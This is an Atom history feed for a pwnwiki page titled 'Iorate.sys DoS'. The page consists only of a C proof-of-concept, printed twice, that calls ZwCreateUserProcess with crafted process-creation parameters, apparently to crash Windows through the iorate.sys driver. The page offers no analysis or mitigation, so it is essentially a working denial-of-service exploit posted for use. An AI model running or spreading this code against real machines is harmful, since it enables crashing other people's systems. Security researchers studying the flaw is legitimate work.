https://pwnwiki.com/index.php?action=history&feed=atom&title=Iorate.sys_DoS 2026-04-26T09:35:26Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Iorate.sys_DoS&diff=3787&oldid=prev 2021-05-31T07:58:42Z

<p>Created page with &quot;==POC== &lt;pre&gt; struct _PS_CREATE_INFO { ulonglong Size; ulonglong State;//at 0x8 ulong InitFlags;//at 0x10 ulong AdditionalFileAccess;//at 0x14 ulonglong X0...&quot;</p> <p><b>New page</b></p><div>==POC==<br /> &lt;pre&gt;<br /> struct _PS_CREATE_INFO<br /> {<br /> ulonglong Size;<br /> ulonglong State;//at 0x8<br /> ulong InitFlags;//at 0x10<br /> ulong AdditionalFileAccess;//at 0x14<br /> ulonglong X0;<br /> ulonglong X1;<br /> ulonglong X2;<br /> ulonglong X3;<br /> ulonglong X4;<br /> ulonglong X5;<br /> ulonglong X6;<br /> ulonglong X7;<br /> };<br /> <br /> <br /> void IoRateDoS()<br /> {<br /> //--------- Parameters Start Here ----------<br /> HANDLE hNewProcess = 0;<br /> HANDLE hNewThread = 0;<br /> ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;<br /> ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;<br /> _OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};<br /> _OBJECT_ATTRIBUTES ObjAttr_t = {sizeof(ObjAttr_t)};<br /> ulonglong ProcessFlagsX = 0x1000;<br /> ulonglong ThreadFlagsX = 0;<br /> ulonglong ProcessParametersX = 0;<br /> _PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};<br /> PsCreateInfo.InitFlags = PsCreateInitialState;<br /> PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;<br /> ulonglong AttributeListX = 0;<br /> //---------------<br /> ulonglong ret = ZwCreateUserProcess(&amp;hNewProcess,&amp;hNewThread,<br /> ProcessDesiredAccessX, ThreadDesiredAccessX,<br /> &amp;ObjAttr_p, &amp;ObjAttr_t,<br /> ProcessFlagsX, ThreadFlagsX,<br /> (void*)ProcessParametersX,<br /> &amp;PsCreateInfo,<br /> (void*)AttributeListX);<br /> printf(&quot;ZwCreateUserProcess, ret: %I64X\r\n&quot;,ret);<br /> }<br /> &lt;/pre&gt;<br /> <br /> ==RAW Paste Data ==<br /> &lt;pre&gt;<br /> struct _PS_CREATE_INFO<br /> {<br /> ulonglong Size;<br /> ulonglong State;//at 0x8<br /> ulong InitFlags;//at 0x10<br /> ulong AdditionalFileAccess;//at 0x14<br /> ulonglong X0;<br /> ulonglong X1;<br /> ulonglong X2;<br /> ulonglong X3;<br /> ulonglong X4;<br /> ulonglong X5;<br /> ulonglong X6;<br /> ulonglong X7;<br /> };<br /> <br /> <br /> void IoRateDoS()<br /> {<br /> //--------- Parameters Start Here ----------<br /> HANDLE hNewProcess = 0;<br /> HANDLE hNewThread = 0;<br /> ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;<br /> ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;<br /> _OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};<br /> _OBJECT_ATTRIBUTES ObjAttr_t = {sizeof(ObjAttr_t)};<br /> ulonglong ProcessFlagsX = 0x1000;<br /> ulonglong ThreadFlagsX = 0;<br /> ulonglong ProcessParametersX = 0;<br /> _PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};<br /> PsCreateInfo.InitFlags = PsCreateInitialState;<br /> PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;<br /> ulonglong AttributeListX = 0;<br /> //---------------<br /> ulonglong ret = ZwCreateUserProcess(&amp;hNewProcess,&amp;hNewThread,<br /> ProcessDesiredAccessX, ThreadDesiredAccessX,<br /> &amp;ObjAttr_p, &amp;ObjAttr_t,<br /> ProcessFlagsX, ThreadFlagsX,<br /> (void*)ProcessParametersX,<br /> &amp;PsCreateInfo,<br /> (void*)AttributeListX);<br /> printf(&quot;ZwCreateUserProcess, ret: %I64X\r\n&quot;,ret);<br /> }<br /> &lt;/pre&gt;</div>

Pwnwiki